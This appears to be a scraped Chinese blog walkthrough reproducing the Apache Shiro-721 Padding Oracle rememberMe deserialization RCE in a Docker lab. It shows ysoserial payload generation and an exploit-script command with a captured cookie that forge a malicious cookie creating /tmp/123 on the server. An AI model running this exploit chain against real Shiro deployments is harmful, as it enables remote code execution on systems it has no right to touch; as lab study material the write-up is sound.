当前位置: 首页 > news >正文

济南网站开发wuliankjcentos怎么装WordPress

济南网站开发wuliankj,centos怎么装WordPress,wordpress 特别慢,上传网站安装教程漏洞原理 Shiro rememberMe 反序列化远程代码执行漏洞 由于 Apache Shiro cookie 中通过 AES-128-CBC 模式加密的 rememberMe 字段存 在问题,用户可通过 Padding Oracle 加密生成的攻击代码来构造恶意的 rememberMe 字段,并重新请求网站,进…

漏洞原理

Shiro rememberMe 反序列化远程代码执行漏洞

由于 Apache Shiro cookie 中通过 AES-128-CBC 模式加密的 rememberMe 字段存 在问题,用户可通过 Padding Oracle 加密生成的攻击代码来构造恶意的 rememberMe 字段,并重新请求网站,进行反序列化攻击,最终导致任意代码执行

rememberMe cookie 通过 AES-128-CBC 模式加密,易受到 Padding Oracle 攻击。可以通过结合有效的 rememberMe cookie 作为 Padding Oracle 攻击的前缀,然后精⼼制作 rememberMe 来进⾏反序列化攻击。

Tip:在1.2.4版本后,shiro已经更换 AES-CBC 为 AES-GCM ,无法再通过 Padding Oracle 遍历 key 。

影响版本

Apache Shiro <= 1.4.1(需要一个合法的登录账号,基于Padding Oracle attack来实现的攻击)

通过Padding Oracle Attack攻击可以实现破解AES-CBC加密过程进而实现rememberMe的内容伪造。下面会有单独的篇幅讲Padding Oracle Attack。

shiro-721对cookie中rememberMe的值的解析过程

在这里插入图片描述

特征判断

由于漏洞利用需要一个合法的登录账号,这里利用账号正常登陆获取一个有效的rememberMe cookie ,并记录下这个rememberMe的值

docker环境搭建

方法一:

git clone https://github.com/inspiringz/Shiro-721.git
cd Shiro-721/Docker
docker build -t shiro-721 .
docker run -p 8080:8080 -d shiro-721

方法二:

docker pull vulfocus/shiro-721docker run -d -p 8080:8080 vulfocus/shiro-721

漏洞复现

先使用合法账户登陆,记得勾选remember Me,然后使用burp抓包获取cookie:
在这里插入图片描述
获取到cookie:
在这里插入图片描述
将其中的remember Me字段复制下来输入到工具中进行利用:

使用ysoserial工具生成payload

java -jar ysoserial.jar CommonsBeanutils1 "touch /tmp/123" > payload.class
#"touch /tmp/123" 在tmp目录写入123

使用工具生成payload

脚本链接:https://github.com/wuppp/shiro_rce_exp python shiro_exp.py
http://192.168.88.130:8080 [rememberMeCookie] payload.class

python shiro_exp.py http://192.168.171.137:8080/login.jsp LIO2vKStP5R4NN+TLY0Bgfrz+3sacQHB1BfrOheCVAHeFAGtRsX9JW24tCvcedluOxZwFPoOSs7/tA0fK+UJ9ylRjLIT87NIN1smV22TVqdQ4vSJXB42IQCTV1mDA2CwlDpoeem6M4qY2SeB4JwIpV+iUwNJoOj+NfWeX3/lLZHkoCnsR5TCm6GrHyhdaDZYK0BAJNXFQ9658sJGAF1fztcfR0pYD9RtX26iLW73+D0pd3x6DhPQB7euA4uhUZ3Ue8RoOK3jTqxHC3U5n0DIMpc1RWlHVzUyHjejFAPXCReV+7ds/dWr+b5XlgP9/7ajmi2+6dqr2apVaIhEMC5SP4X4Y+QZw3wS6w76pD1vT8JSlG6l+h4+tIRuS4/gbUzX8GhmPCtw2MBMS/xZ2FsjvTPexdPLEf+114qo4152aNNcXul4zN3czLlve+otlqd5E/WyhhbBA2+EFk+Pewnsq2g2sS53s57H9BcWhXHkcwf0cIrkOXAn9a9xfkkm1HH9 payload.class

在这里插入图片描述

此 exp 爆破时间较长,建议使用 ysoserial 生成较短的 payload 验证(eg: ping 、 touch /tmp/success, etc),约 1 个多小时可生成正确的 rememberme cookie,生成成功后将自动停止运行。

在这里插入图片描述

最终会生成恶意的rememberMe cookie,我们使用这个cookie替换原数据包中的cookie。然后登陆进服务器看,会发现/tmp目录下被创建了一个123文件。

在这里插入图片描述

漏洞利用成功!

http://www.yayakq.cn/news/806850/

相关文章:

  • 网站转化下降原因温州网页制作哪家好
  • 做miui主题网站学网站开发学费多少
  • 上海专业的网站建设新安网站建设
  • 软文网站推荐上海的网站建设
  • 宁波seo推广外包公司北京网站优化什么价格
  • 咕果网给企业做网站的天网网站建设
  • 桥西区附近网站建设价格宜都市网站建设
  • 徐州 网站制作二手房网站怎么做
  • 用动物做网站名称公司网站费用构成需要多少钱
  • 织梦网站模板下载班级优化大师免费下载app
  • 在东莞做网站帮人打广告赚钱的平台
  • html5网站建设公司邢台最新通告今天
  • 大连企业建站系统模板网络设计培训学校
  • 佛山教育平台网站建设在线做名片做海报网站
  • wordpress 媒体分类商品关键词优化的方法
  • 河北省建设厅网站工程师查询wordpress修改上传文件路径
  • 郑州做设计公司网站建设银行衡阳市分行网站
  • 网站页面设计方案专业柳州网站建设
  • 公司网站制作企业wordpress自动加p标签
  • 购买主机可以做网站吗网站建设公司 跨界鱼科技优
  • 电子商务行业网站有哪些设计师必看的10个网站
  • 怎么建设分销模式手机网站建国际网站需要多少钱
  • 响应式网站移动端排名seo是指什么岗位
  • 建设自己公司的网站广州 建 网站
  • 建材类网站建设方案周到的商城网站建设
  • 免费下载网站设计方案人工智能工程师月薪多少
  • 门户网站做pos机贵阳网站公司
  • 学校网站群建设 ppt注册网站卖东西
  • 网站开发整体流程网站建设声明函
  • 装修网站合作平台有哪些有哪些做策划的用的网站